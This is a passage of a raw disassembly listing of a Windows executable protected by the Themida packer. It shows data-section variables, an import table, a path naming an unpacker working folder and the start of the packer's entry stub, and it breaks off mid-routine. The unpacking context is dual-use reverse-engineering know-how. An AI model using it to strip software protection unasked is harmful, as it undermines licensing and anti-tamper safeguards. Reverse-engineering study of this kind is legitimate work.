sub_4085B3+207r ; sub_40981F+496w dword_43AD00 dd 0 ; DATA XREF: sub_40981F+9C7w ; sub_40981F+A20r ... dword_43AD04 dd 0 ; DATA XREF: sub_40981F+2B2w ; sub_40981F+2DEr ... dword_43AD08 dd 0 ; DATA XREF: sub_40981F+7Fw ; sub_40981F+DAr ... dword_43AD0C dd 0 ; DATA XREF: sub_40981F+B6Ew ; sub_40981F+B75r ... dword_43AD10 dd 0 ; DATA XREF: sub_4010B5+2Fr ; sub_401A76+2Fr ... dword_43AD14 dd 0 ; DATA XREF: sub_40981F+807w ; sub_40981F+872r ... dword_43AD18 dd 0 ; DATA XREF: sub_40981F+986w ; sub_40981F+9F8r dword_43AD1C dd 0 ; DATA XREF: sub_40981F+BDFw ; sub_40981F+C10r dword_43AD20 dd 0 ; DATA XREF: sub_4023A7+40r ; sub_4023A7+63r ... dword_43AD24 dd 0 ; DATA XREF: sub_40981F+8FCw ; sub_40981F+910r ... dword_43AD28 dd 0 ; DATA XREF: sub_40981F+BF9w dword_43AD2C dd 0 ; DATA XREF: sub_4010B5:loc_4013AAr ; sub_40144A+3Cr ... dword_43AD30 dd 0 ; DATA XREF: sub_40981F+821w ; sub_40981F+855r dword_43AD34 dd 0 ; DATA XREF: sub_4023A7+50r ; sub_4023A7+78r ... dword_43AD38 dd 0 ; DATA XREF: sub_4087EE+3Fr ; sub_4087EE+69r ... dword_43AD3C dd 0 ; DATA XREF: sub_40981F+65Aw ; sub_40981F+786r ... dword_43AD40 dd 0 ; DATA XREF: sub_402DD7+20Ar ; sub_4030E8+5Er ... dword_43AD44 dd 0 ; DATA XREF: sub_402688+16Er ; sub_40981F+549w ... dword_43AD48 dd 0 ; DATA XREF: sub_40981F+8BDw ; sub_40981F:loc_40A0FAw ... dword_43AD4C dd 0 ; DATA XREF: sub_40981F+28Bw ; sub_40981F+2C6r ... dword_43AD50 dd 0 ; DATA XREF: ___:00407DFEr ; sub_40981F+681w ... dword_43AD54 dd 0 ; DATA XREF: sub_40981F+30Fw ; sub_40981F+323r ... dword_43AD58 dd 0 ; DATA XREF: sub_40981F+395w ; sub_40981F+3D1r ... dword_43AD5C dd 0 ; DATA XREF: sub_40981F+BD2w ; sub_40981F+C08r dword_43AD60 dd 0 ; DATA XREF: sub_40981F+7FAw ; sub_40981F+86Ar ... dword_43AD64 dd 0 ; DATA XREF: sub_4023A7+FCr ; sub_40981F+206w ... dword_43AD68 dd 0 ; DATA XREF: sub_40981F+18Cw ; sub_40981F+1D2r ... dword_43AD6C dd 0 ; DATA XREF: sub_40981F+814w ; sub_40981F+87Ar ... dword_43AD70 dd 0 ; DATA XREF: sub_406C19+244r ; sub_40981F+606w ... dword_43AD74 dd 0 ; DATA XREF: sub_408C26+18Ar ; sub_40981F+2BFw ... dword_43AD78 dd 0 ; DATA XREF: sub_4010B5+6Fr ; sub_40144A+AAr ... dword_43AD7C dd 0 ; DATA XREF: sub_40981F+302w ; sub_40981F+316r ... dword_43AD80 dd 0 ; DATA XREF: sub_405AF2+F9r ; sub_406C19+1FCr ... dword_43AD84 dd 0 ; DATA XREF: sub_4085B3+16r ; sub_40981F+42Ew ... dword_43AD88 dd 0 ; DATA XREF: sub_40981F+199w ; sub_40981F+1DAr ... dword_43AD8C dd 0 ; DATA XREF: sub_40981F+347w ; sub_40981F+39Cr ... dword_43AD90 dd 0 ; DATA XREF: sub_40981F+A73w dword_43AD94 dd 0 ; DATA XREF: sub_4010B5+EBr ; sub_4010B5+1F9r ... dword_43AD98 dd 0 ; DATA XREF: sub_4010B5+87r ; sub_4010B5+9Dr ... dword_43AD9C dd 0 ; DATA XREF: sub_40981F+4Bw ; sub_40981F+C2r ... dword_43ADA0 dd 0 ; DATA XREF: sub_4085B3+2Cr ; sub_4085B3+38r ... dword_43ADA4 dd 0 ; DATA XREF: sub_40981F+165w ; sub_40981F+1BAr ... dword_43ADA8 dd 0 ; DATA XREF: sub_40981F+9E1w ; sub_40E5EB+72r dword_43ADAC dd 0 ; DATA XREF: sub_40981F+667w ; sub_40981F+78Er dword_43ADB0 dd 0 ; DATA XREF: sub_402688+205r ; sub_402DD7+23Br ... dword_43ADB4 dd 0 ; DATA XREF: sub_40981F+BECw ; sub_40981F+C18r dword_43ADB8 dd 0 ; DATA XREF: sub_40981F+3Ew ; sub_40981F+BAr ... dword_43ADBC dd 0 ; DATA XREF: sub_40981F+298w ; sub_40981F+2CEr ... dword_43ADC0 dd 0 ; DATA XREF: sub_405AF2+9Er ; sub_407BDE+9Cr ... dword_43ADC4 dd 0 ; DATA XREF: sub_402688+EBr ; sub_405AF2+89r ... dword_43ADC8 dd 0 ; DATA XREF: sub_40981F+C63w ; sub_40EE72+4624r dword_43ADCC dd 0 ; DATA XREF: sub_40981F+85Bw ; sub_40BC4B+205r ... dword_43ADD0 dd 0 ; DATA XREF: sub_40981F+112w dword_43ADD4 dd 0 ; DATA XREF: sub_40981F+BB8w ; sub_40981F+BF3r dword_43ADD8 dd 0 ; DATA XREF: sub_40144A+119r ; sub_40144A+1A0r ... dword_43ADDC dd 0 ; DATA XREF: sub_4085B3+BCr ; sub_40981F+43Bw ... dword_43ADE0 dd 0 ; DATA XREF: sub_4085B3+FBr ; sub_40981F+47Cw ... dword_43ADE4 dd 0 ; DATA XREF: sub_4085B3+65r ; sub_40981F+448w ... dword_43ADE8 dd 0 ; DATA XREF: sub_402DD7+221r ; sub_402DD7+249r ... dword_43ADEC dd 0 ; DATA XREF: sub_40981F+1A6w ; sub_40981F+1E2r ... dword_43ADF0 dd 0 ; DATA XREF: sub_40981F+9D4w ; sub_40981F+A28r ... dword_43ADF4 dd 0 ; DATA XREF: sub_4087EE+53r ; sub_4087EE+7Fr ... dword_43ADF8 dd 0 ; DATA XREF: sub_40981F+8Cw ; sub_40981F+E2r ... dword_43ADFC dd 0 ; DATA XREF: sub_4010B5+2C2r ; sub_40144A+2DAr ... dword_43AE00 dd 0 ; DATA XREF: sub_40981F+B14w ; sub_40981F+B30r dword_43AE04 dd 0 ; DATA XREF: sub_40981F+31Cw ; sub_41511F+55r dword_43AE08 dd 0 ; DATA XREF: sub_408C26+3Fr ; sub_40981F+27Ew ... dword_43AE0C dd 0 ; DATA XREF: sub_40981F+B7Bw dword_43AE10 dd 0 ; DATA XREF: sub_40981F+ABDw ; sub_40AE02+CEr dword_43AE14 dd 0 ; DATA XREF: sub_40981F+AB0w ; sub_40981F+AB7r ... dword_43AE18 dd 0 ; DATA XREF: sub_40144A+2Er ; sub_401D82+55r ... dword_43AE1C dd 0 ; DATA XREF: ___:00407DEEr ; sub_40981F+674w ... dword_43AE20 dd 0 ; DATA XREF: sub_40981F+BC5w ; sub_40981F+C00r dword_43AE24 dd 0 ; DATA XREF: sub_402688+28Dr ; sub_406C19+250r ... dword_43AE28 dd 0 ; DATA XREF: sub_40981F+993w ; sub_40981F+A00r ... dword_43AE2C dd 0 ; DATA XREF: sub_405AF2+13Ar ; sub_407BDE+B3r ... dword_43AE30 dd 0 ; DATA XREF: sub_4010B5+324r ; sub_40144A+2F0r ... dword_43AE34 dd 0 ; DATA XREF: sub_405AF2+B7r ; sub_405AF2+39Fr ... dword_43AE38 dd 0 ; DATA XREF: sub_4029E9+B0r ; sub_4029E9+C8r ... dword_43AE3C dd 0 ; DATA XREF: sub_4010B5+4Fr ; sub_401A76+4Fr ... dword_43AE40 dd 0 ; DATA XREF: sub_40981F+AFAw ; sub_40981F+B1Br dword_43AE44 dd 0 ; DATA XREF: sub_40981F+31w ; sub_40981F+ADr ... dword_43AE48 dd 0 ; DATA XREF: sub_4087EE+1ECr ; sub_4089E7+232r ... align 10h dword_43AE50 dd 0 ; DATA XREF: sub_40981F+909w ; sub_40981F+91Dr ... dword_43AE54 dd 0 ; DATA XREF: sub_40981F+99w ; sub_40981F+EAr ... dword_43AE58 dd 0 ; DATA XREF: sub_40981F:loc_40991Dw ; sub_40981F+12Bw ... dword_43AE5C dd 0 ; DATA XREF: sub_40981F+126w ; sub_40A4AC+1Cr dword_43AE60 dd 0 ; DATA XREF: sub_40981F:loc_409A0Dw ; sub_40981F:loc_409A74w ... dword_43AE64 dd 0 ; DATA XREF: sub_40981F+250w ; sub_40A4AC+50r dword_43AE68 dd 0 ; DATA XREF: sub_40981F:loc_409B09w ; sub_40981F:loc_409B4Ew ... dword_43AE6C dd 0 ; DATA XREF: sub_40981F+400w ; sub_40A4AC+84r dword_43AE70 dd 0 ; DATA XREF: sub_40981F:loc_409D05w ; sub_40A4AC:loc_40A55Cr dword_43AE74 dd 0 ; DATA XREF: sub_40981F+4E1w ; sub_40A4AC+B8r dword_43AE78 dd 0 ; DATA XREF: sub_40981F:loc_409FD6w ; sub_40A4AC:loc_40A590r dword_43AE7C dd 0 ; DATA XREF: sub_40981F+7B2w ; sub_40A4AC+ECr dword_43AE80 dd 0 ; DATA XREF: sub_40981F:loc_40A0C1w ; sub_40981F+8D1w ... dword_43AE84 dd 0 ; DATA XREF: sub_40981F+8CCw ; sub_40A4AC+120r dword_43AE88 dd 0 ; DATA XREF: sub_40981F:loc_40A155w ; sub_40A4AC:loc_40A5F8r ... dword_43AE8C dd 0 ; DATA XREF: sub_40981F+931w ; sub_40A4AC+154r dword_43AE90 dd 0 ; DATA XREF: sub_40981F:loc_40A260w ; sub_40A4AC:loc_40A62Cr ... dword_43AE94 dd 0 ; DATA XREF: sub_40981F+A3Cw ; sub_40A4AC+188r dword_43AE98 dd 0 ; DATA XREF: sub_40981F:loc_40A2AAw ; sub_40A4AC:loc_40A660r dword_43AE9C dd 0 ; DATA XREF: sub_40981F+A86w ; sub_40A4AC+1BCr dword_43AEA0 dd 0 ; DATA XREF: sub_40981F:loc_40A2F4w ; sub_40A4AC:loc_40A694r dword_43AEA4 dd 0 ; DATA XREF: sub_40981F+AD0w ; sub_40A4AC+1F0r dword_43AEA8 dd 0 ; DATA XREF: sub_40981F:loc_40A368w ; sub_40A4AC:loc_40A6C8r dword_43AEAC dd 0 ; DATA XREF: sub_40981F+B44w ; sub_40A4AC+224r dword_43AEB0 dd 0 ; DATA XREF: sub_40981F:loc_40A3B2w ; sub_40A4AC:loc_40A6FCr dword_43AEB4 dd 0 ; DATA XREF: sub_40981F+B8Ew ; sub_40A4AC+258r dword_43AEB8 dd 0 ; DATA XREF: sub_40981F:loc_40A450w ; sub_40A4AC:loc_40A730r dword_43AEBC dd 0 ; DATA XREF: sub_40981F+C2Cw ; sub_40A4AC+28Cr dword_43AEC0 dd 0 ; DATA XREF: sub_40981F:loc_40A49Aw ; sub_40A4AC:loc_40A764r dword_43AEC4 dd 0 ; DATA XREF: sub_40981F+C76w ; sub_40A4AC+2C0r dword_43AEC8 dd 81h dup(0) ; DATA XREF: sub_40AA35+6Ao dword_43B0CC dd 5 dup(0) ; DATA XREF: sub_40AEE0+32o dword_43B0E0 dd 0 ; DATA XREF: sub_40B328:loc_40B349r ; sub_40B417+54r ... dword_43B0E4 dd 0 ; DATA XREF: sub_40B328r ; sub_40B417+37r ... dword_43B0E8 dd 0 ; DATA XREF: sub_40B358+1Ar ; sub_40B56C+83o dword_43B0EC dd 0 ; DATA XREF: sub_40B328:loc_40B33Cr ; sub_40B56C+11Bw dword_43B0F0 dd 0Dh dup(0) ; DATA XREF: sub_40B417+13o ; sub_40B56C:loc_40B6A9o dword_43B124 dd 0 ; DATA XREF: sub_40B417+CDr ; sub_40B417+ECr ... dd 0 dword_43B12C dd 0Eh dup(0) ; DATA XREF: sub_40B721+47o dword_43B164 dd 1000h dup(0) ; DATA XREF: sub_40BF6D+1Do ; sub_40C00Do ... dword_43F164 dd 0 ; DATA XREF: sub_40BF6D+13o ; sub_40C00D+Eo ... dword_43F168 dd 0Eh dup(0) ; DATA XREF: sub_40D01A+Fo dword_43F1A0 dd 2 dup(0) ; DATA XREF: sub_40D3A5+C8o dword_43F1A8 dd 17h dup(0) ; DATA XREF: sub_40D835:loc_40D952o ; sub_40D835+131o ... dword_43F204 dd 80h dup(0) ; DATA XREF: sub_40E5EB+7Co ; sub_40E5EB+A5o dword_43F404 dd 0 ; DATA XREF: sub_40DBB0+45w ; sub_40DBB0+4Dr ... dword_43F408 dd 17h dup(0) ; DATA XREF: sub_40E4B7:loc_40E5D9o ; sub_40E4B7+12Do dword_43F464 dd 80h dup(0) ; DATA XREF: sub_40DAF0+4Co ; sub_40DAF0+7Eo ... byte_43F664 db 0 ; DATA XREF: sub_40DBB0+29r ; sub_40DBB0+34w align 4 dword_43F668 dd 80h dup(0) ; DATA XREF: sub_40DE07+61o ; sub_40DE07+89o ... dword_43F868 dd 82h dup(0) ; DATA XREF: sub_40D719:loc_40D751o ; sub_40D719+5Bo dword_43FA70 dd 0 ; DATA XREF: sub_40BE75+Ao ; sub_40BE75+44r ... dd 5 dup(0) dword_43FA88 dd 0 ; DATA XREF: sub_40BE75+60r ; sub_40EE72+BD6r dd 2D9h dup(0) dword_4405F0 dd 0 ; DATA XREF: sub_407767+A8r ; sub_40BE75+2Do ... dd 7Fh dup(0) dword_4407F0 dd 0 ; DATA XREF: sub_416D5C+41w ; sub_416E97+40w ... dword_4407F4 dd 0 ; DATA XREF: sub_4060D0+23Bw ; sub_407767:loc_4077AEr ... dword_4407F8 dd 0 ; DATA XREF: sub_40B56C+164w ; sub_416810+AEw ... dword_4407FC dd 0 ; DATA XREF: sub_402688+E0w ; sub_405AF2+7Ew ... dword_440800 dd 0 ; DATA XREF: ___:00407E84w ; ___:00407FA0r ... dword_440804 dd 0 ; DATA XREF: sub_4060D0+268w ; sub_407252+122w ... byte_440808 db 0 ; DATA XREF: sub_40EB92+91o ; sub_40EE72+3357r ... align 4 dd 13D1h dup(0) dword_445750 dd 1411h dup(0) ; DATA XREF: ___:off_42A2D0o db 3 dup(0) byte_44A797 db 0 ; CODE XREF: ___:00424090j dd 162Dh dup(0) db 0 byte_45004D db 3 dup(0) ; DATA XREF: ___:0042CCA8o dword_450050 dd 0D54Ah dup(0) dword_485578 dd 2AB9h dup(0) ; DATA XREF: Themida_:0053C052o dword_49005C dd 0F565h dup(0) ; DATA XREF: ___:off_427B6Co dword_4CD5F0 dd 0 ; DATA XREF: sub_407110:loc_40717Er ; ___:0040E6E3w ... align 8 dword_4CD5F8 dd 0 ; DATA XREF: ___:loc_40EAA4o dword_4CD5FC dd 20h dup(0) ; DATA XREF: ___:0040EA3Co ; ___:0040EAF5o ... dword_4CD67C dd 10h dup(0) ; DATA XREF: ___:0040EA53o ; sub_40EE72+929o dword_4CD6BC dd 24h dup(0) ; DATA XREF: ___:0040EA6Ao dword_4CD74C dd 0 ; DATA XREF: ___:0040EA5Ew ; ___:0040EB0Cw ... dword_4CD750 dd 0 ; DATA XREF: ___:0040EA7Dw align 10h dword_4CD760 dd 0 ; DATA XREF: sub_40EB92+72r ; sub_40EE72+273r align 8 byte_4CD768 db 0 ; DATA XREF: sub_40ECFA+28r ; sub_40ECFA+30o align 4 dword_4CD76C dd 0 ; DATA XREF: ___:0040EAA9w ; ___:0040EAC0r ... dword_4CD770 dd 0 ; DATA XREF: ___:0040EA41w ; sub_40EE72+8CAr dd 2 dup(0) dword_4CD77C dd 0 ; DATA XREF: ___:004155C6r dd 0 dword_4CD784 dd 1Bh dup(0) ; DATA XREF: sub_415D6A+8Do dword_4CD7F0 dd 0 ; DATA XREF: sub_416FA4+16o ; sub_416FC3+19o dword_4CD7F4 dd 65h dup(0) ; DATA XREF: sub_416F57+3Do byte_4CD988 db 0 ; DATA XREF: sub_416C55+6Ar ; sub_416C55+98w align 4 dd 2 dup(0) dword_4CD994 dd 0 ; DATA XREF: sub_417D73+Aw dword_4CD998 dd 0 ; DATA XREF: sub_4186B1+5Er ; sub_4186B1+A4w align 10h word_4CD9A0 dw 0 ; DATA XREF: sub_4186B1+55r ; sub_4186B1+9Ao word_4CD9A2 dw 0 ; DATA XREF: sub_4186B1+48r db 2 dup(0) word_4CD9A6 dw 0 ; DATA XREF: sub_4186B1+3Br word_4CD9A8 dw 0 ; DATA XREF: sub_4186B1+2Er word_4CD9AA dw 0 ; DATA XREF: sub_4186B1+21r align 10h dword_4CD9B0 dd 0 ; DATA XREF: sub_418B6E+3Br ; sub_418B6E+91w dword_4CD9B4 dd 0 ; DATA XREF: sub_418833+1B9w ; sub_418D0E:loc_418D8Aw ... dword_4CD9B8 dd 0 ; DATA XREF: sub_4197F9+35w ; sub_41A6B7:loc_41A751w ... dword_4CD9BC dd 0 ; DATA XREF: sub_41FEC6+13Ar dd 0A28h, 501h, 5, 1 dword_4CD9D0 dd 1 ; DATA XREF: ___:loc_40E98Cr ; ___:0041F2D1w dword_4CD9D4 dd 2420B30h ; DATA XREF: ___:0040E995r ; ___:0040E9B5r ... dd 0 dword_4CD9DC dd 2420B58h ; DATA XREF: ___:0041F1CBw ; sub_421DAE+9r ... dword_4CD9E0 dd 0 ; DATA XREF: sub_422492+36r dword_4CD9E4 dd 0 ; DATA XREF: sub_421DAE+16r ; sub_42217C+4r ... dd 0 off_4CD9EC dd offset aCM_unpackerPac ; DATA XREF: ___:0041F26Ew ; "C:\\m_unpacker\\packed.exe" dd 0 byte_4CD9F4 db 0 ; DATA XREF: sub_419B07+2Dw ; sub_41FAE7+5r align 4 dword_4CD9F8 dd 0 ; DATA XREF: sub_419B07+27w dword_4CD9FC dd 0 ; DATA XREF: sub_419B07+4r ; sub_419B07+8Bw dword_4CDA00 dd 0 ; DATA XREF: ___:loc_41F199r ; ___:loc_41F1DBr ... align 8 dword_4CDA08 dd 0 ; DATA XREF: sub_419CDAr sub_41F84Cr ... dword_4CDA0C dd 0 ; DATA XREF: sub_41A8A2+37r dd 0 dword_4CDA14 dd 0 ; DATA XREF: sub_417B89r ; sub_41944F:loc_41956Br ... dword_4CDA18 dd 0 ; DATA XREF: sub_41AB54r dword_4CDA1C dd 0 ; DATA XREF: sub_41BA22+4Bw ; sub_41BB3B+2Dw ... dword_4CDA20 dd 0 ; DATA XREF: sub_41C96D+11r ; sub_41CA71+1Ar ... byte_4CDA24 db 0 ; DATA XREF: sub_41C96D+3r ; sub_41C96D+98r ... align 4 dword_4CDA28 dd 0 ; DATA XREF: sub_41CA71+11r ; sub_41CB4F+21w ... byte_4CDA2C db 0 ; DATA XREF: sub_41CB4F+51w align 10h dword_4CDA30 dd 0 ; DATA XREF: sub_41CD45+4Er ; sub_41D120+3Ar ... dword_4CDA34 dd 0 ; DATA XREF: sub_41CD45+5Cr ; sub_41D120+43r ... dword_4CDA38 dd 0 ; DATA XREF: sub_417FFA+7Ar ; sub_41CEEC+5r dword_4CDA3C dd 0 ; DATA XREF: sub_41D4FC+29r dword_4CDA40 dd 2 dup(0) ; DATA XREF: sub_418790+Co dword_4CDA48 dd 0 ; DATA XREF: sub_419063+4r ; sub_419063+6Er ... dd 3 dup(0) dword_4CDA58 dd 0 ; DATA XREF: sub_4199B9+61r ; sub_4199B9+BFr ... align 10h dword_4CDA60 dd 1 ; DATA XREF: sub_41E709+28r ; sub_41E709+4Cw ... dword_4CDA64 dd 1 ; DATA XREF: sub_41E92D:loc_41EAA8r ; sub_41EAC6+4w ... dword_4CDA68 dd 0 ; DATA XREF: ___:0041EFE5r ; ___:0041EFF1w ... aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: ___:loc_41F257o ; ___:off_4CD9ECo align 4 dd 3Ah dup(0) dword_4CDB70 dd 1 ; DATA XREF: ___:0041F48Fr ; ___:0041F4B0w ... dword_4CDB74 dd 0 ; DATA XREF: sub_41F84C+21r dword_4CDB78 dd 0 ; DATA XREF: sub_41A8A2:loc_41A8CBw ; sub_41A96C+154w ... dword_4CDB7C dd 1 ; DATA XREF: sub_41FB63+26r ; sub_41FB63:loc_41FBCDw dword_4CDB80 dd 0 ; DATA XREF: sub_41A96C+7r align 8 word_4CDB88 dw 0 ; DATA XREF: sub_42074B+1Ao ; sub_42074B+46r byte_4CDB8A db 0 ; DATA XREF: sub_42074B+39r align 4 dword_4CDB8C dd 7 dup(0) ; DATA XREF: sub_42074B+52o dword_4CDBA8 dd 0 ; DATA XREF: sub_42074B+40w ; sub_42074B+5Co dword_4CDBAC dd 0 ; DATA XREF: sub_42074B+4Dw dword_4CDBB0 dd 0 ; DATA XREF: sub_42074B+31w dword_4CDBB4 dd 0 ; DATA XREF: sub_42074B+52w dword_4CDBB8 dd 77C26E79h ; DATA XREF: sub_42086E:loc_420891r ; sub_42086E+38r align 10h dword_4CDBC0 dd 0 ; DATA XREF: sub_42094E+11w ; sub_42094E+63w ... align 8 dword_4CDBC8 dd 0 ; DATA XREF: sub_42094E+33o ; sub_42094E+46r dword_4CDBCC dd 10h dup(0) ; DATA XREF: sub_42094E+C1o word_4CDC0C dw 0 ; DATA XREF: sub_420BAC+A8r word_4CDC0E dw 0 ; DATA XREF: sub_42094E+54r ; sub_420BAC+DBr ... word_4CDC10 dw 0 ; DATA XREF: sub_420BAC+CAr word_4CDC12 dw 0 ; DATA XREF: sub_420BAC+D3r ; sub_420BAC:loc_420C9Er word_4CDC14 dw 0 ; DATA XREF: sub_420BAC+C0r word_4CDC16 dw 0 ; DATA XREF: sub_420BAC+B8r word_4CDC18 dw 0 ; DATA XREF: sub_420BAC+B0r word_4CDC1A dw 0 ; DATA XREF: sub_420BAC+9Er dword_4CDC1C dd 0 ; DATA XREF: sub_42094E+4Br dword_4CDC20 dd 10h dup(0) ; DATA XREF: sub_42094E+FBo word_4CDC60 dw 0 ; DATA XREF: sub_420BAC+46r word_4CDC62 dw 0 ; DATA XREF: sub_42094E:loc_4209C5r ; sub_420BAC+78r ... word_4CDC64 dw 0 ; DATA XREF: sub_420BAC+67r word_4CDC66 dw 0 ; DATA XREF: sub_420BAC+70r ; sub_420BAC:loc_420C30r word_4CDC68 dw 0 ; DATA XREF: sub_420BAC+5Dr word_4CDC6A dw 0 ; DATA XREF: sub_420BAC+55r word_4CDC6C dw 0 ; DATA XREF: sub_420BAC+4Dr word_4CDC6E dw 0 ; DATA XREF: sub_420BAC+3Er dword_4CDC70 dd 0 ; DATA XREF: sub_42094E+80r dword_4CDC74 dd 0 ; DATA XREF: sub_42094E+132r ; sub_42094E:loc_420A9Ar ... dword_4CDC78 dd 0 ; DATA XREF: sub_420939r sub_420939+Ew dword_4CDC7C dd 0 ; DATA XREF: sub_42105F+3r ; sub_42105F+2Ew ... dword_4CDC80 dd 0 ; DATA XREF: sub_42105F+43w ; sub_42105F:loc_4210AEr dword_4CDC84 dd 0 ; DATA XREF: sub_42105F+4Aw ; sub_42105F+60r dword_4CDC88 dd 0 ; DATA XREF: sub_41FEC6+3Fr dword_4CDC8C dd 0 ; DATA XREF: sub_421C3C:loc_421CA3r ; sub_421C3C+6Do dword_4CDC90 dd 0 ; DATA XREF: sub_421C3C:loc_421C7Ar ; sub_421C3C+44o dword_4CDC94 dd 0 ; DATA XREF: sub_421C3C:loc_421C6Dr ; sub_421C3C+37o dword_4CDC98 dd 0 ; DATA XREF: sub_421C3C:loc_421C87r ; sub_421C3C+51o align 10h dword_4CDCA0 dd 0 ; DATA XREF: sub_4221EA+28r ; sub_4221EA+48w ... dword_4CDCA4 dd 0 ; DATA XREF: sub_422C78+28r ; sub_422C78+4Cw ... dword_4CDCA8 dd 0 ; DATA XREF: sub_422F03+26r ; sub_422F03:loc_422F6Dw byte_4CDCAC db 0 ; DATA XREF: sub_40482Cr sub_40482C+9w align 10h dword_4CDCB0 dd 2421140h ; DATA XREF: sub_41A835:loc_41A846r ; sub_41AADC+14r ... align 10h dword_4CDCC0 dd 400h dup(0) ; DATA XREF: ___:off_436388o ; ___:00436390o dword_4CECC0 dd 200h ; DATA XREF: sub_41A835+9r ; sub_41A835+56r ... dd 7 dup(0) dword_4CECE0 dd 2420650h ; DATA XREF: sub_419D23+B1r ; sub_41E248+75r ... dword_4CECE4 dd 3Fh dup(0) ; DATA XREF: ___:0041F651o dword_4CEDE0 dd 20h ; DATA XREF: sub_41A6B7+8r ; sub_41E321+Cr ... dword_4CEDE4 dd 4E4h ; DATA XREF: sub_41E92D+14r ; sub_41E92D+65w ... align 10h dword_4CEDF0 dd 3 dup(0) ; DATA XREF: sub_41E92D+123o ; sub_41E92D+171o ... dword_4CEDFC dd 0 ; DATA XREF: sub_41E92D+108w ; sub_41E92D+15Dw ... byte_4CEE00 db 0 ; DATA XREF: sub_41EB6C:loc_41EC78w ; sub_41EB6C:loc_41EC95w ... align 4 dd 0Fh dup(0) dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h dd 77767574h, 7A7978h, 0 dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h dd 57565554h, 5A5958h, 0 dd 83000000h, 0 dd 9A0000h, 9E009Ch, 2 dup(0) dd 8A0000h, 0FF8E008Ch, 2 dup(0) dd 0AA0000h, 2 dup(0) dd 0B500h, 0BA0000h, 0 dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h dd 9FDEDDDCh byte_4CEF00 db 0 ; DATA XREF: sub_41E92D+5Co ; sub_41E92D+AFo ... byte_4CEF01 db 0 ; DATA XREF: sub_4192B8+5Dr ; sub_41E92D+A0w ... align 4 dd 0Fh dup(0) dd 10100000h, 6 dup(10101010h), 0 dd 20200000h, 6 dup(20202020h), 2 dup(0) dd 20h, 10000000h, 10001000h, 2 dup(0) dd 20000000h, 20002000h, 10h, 0 dd 20000000h, 2 dup(0) dd 200000h, 20000000h, 0 dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h) dd 20202000h, 20202020h, 20h dword_4CF004 dd 0 ; DATA XREF: sub_41E92D+6Ew ; sub_41E92D+12Bw ... dword_4CF008 dd 0 ; DATA XREF: sub_41B3E6+5r ; sub_41B3E6+32w dword_4CF00C dd 0 ; DATA XREF: sub_41ADB4+23Ar ; sub_41ADB4+25Ar ... dword_4CF010 dd 0 ; DATA XREF: sub_41ADB4+311w ; sub_41B0DD:loc_41B12Dr ... dword_4CF014 dd 0 ; DATA XREF: sub_41ADB4+22Dr ; sub_41ADB4+260r ... dword_4CF018 dd 0 ; DATA XREF: sub_41AD89r ; sub_41ADB4+2CBr ... dword_4CF01C dd 0 ; DATA XREF: sub_41AD89+8r ; sub_41ADB4+2D0r ... dword_4CF020 dd 0 ; DATA XREF: sub_417BC7+Fr ; sub_41944F+5Cr ... dword_4CF024 dd 2420000h ; DATA XREF: sub_417BC7+66r ; sub_417C3B+5Ar ... dword_4CF028 dd 1 ; DATA XREF: sub_417BC7r sub_417C3B+Cr ... dword_4CF02C dd 142340h ; DATA XREF: ___:0041F13Er ; ___:0041F269r dword_4CF030 dd 1 ; DATA XREF: ___:0041F234w sub_421DAEr dword_4CF034 dd 1 ; DATA XREF: sub_41ECF1r ; sub_41ECF1+11w ... dword_4CF038 dd 2420758h ; DATA XREF: sub_418603+13r ; sub_418603:loc_418645r ... dword_4CF03C dd 2420758h ; DATA XREF: sub_418603+1r ; sub_418603+Cr ... dd 3F0h dup(0) dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 3FAh dup(0) ___ ends ; Section 2. (virtual address 000D1000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 000D1000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _rsrc___ segment para public 'DATA' use32 assume cs:_rsrc___ ;org 4D1000h align 2000h _rsrc___ ends ; Section 3. (virtual address 000D2000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 000D2000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata__ segment para public 'DATA' use32 assume cs:_idata__ ;org 4D2000h a7icwCw db '7¨çwµ\çw',0 align 4 dd 77345219h, 4 dup(0) dd 0D2050h, 0D2000h, 3 dup(0) dd 0D2079h, 0D200Ch, 5 dup(0) aKernel32_dll_0 db 'KERNEL32.dll',0 db 2 dup(0), 43h aReatefilea db 'reateFileA',0 align 4 dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h dd 6C642E32h, 6Ch aInitcommoncont db 'InitCommonControls',0 align 1000h _idata__ ends ; Section 4. (virtual address 000D3000) ; Virtual size : 000DB000 ( 897024.) ; Section size in file : 000DB000 ( 897024.) ; Offset to raw data for section: 000D3000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write Themida_ segment para public 'DATA' use32 assume cs:Themida_ ;org 4D3000h dd 9BEAE079h, 4ECE1h, 5FECAh, 98172h, 0 ; =============== S U B R O U T I N E ======================================= public start start proc near var_1C = dword ptr -1Ch ; FUNCTION CHUNK AT 004D3265 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0052DCF8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00530FE9 SIZE 00000062 BYTES ; FUNCTION CHUNK AT 0053125F SIZE 0000004F BYTES mov eax, 0 pusha or eax, eax jz short loc_4D3086 call $+5 pop eax add eax, 53h cmp byte ptr [eax], 0E9h jnz short loc_4D3041 popa jmp short loc_4D3076 ; --------------------------------------------------------------------------- a70m db 'Û-70M',0 db 0FFh dd 0FFFFFFFFh, 3DFFFFFFh db 40h ; --------------------------------------------------------------------------- loc_4D3041: ; CODE XREF: start+18j call $+5 pop eax and eax, 0FFFFF000h xor edi, edi 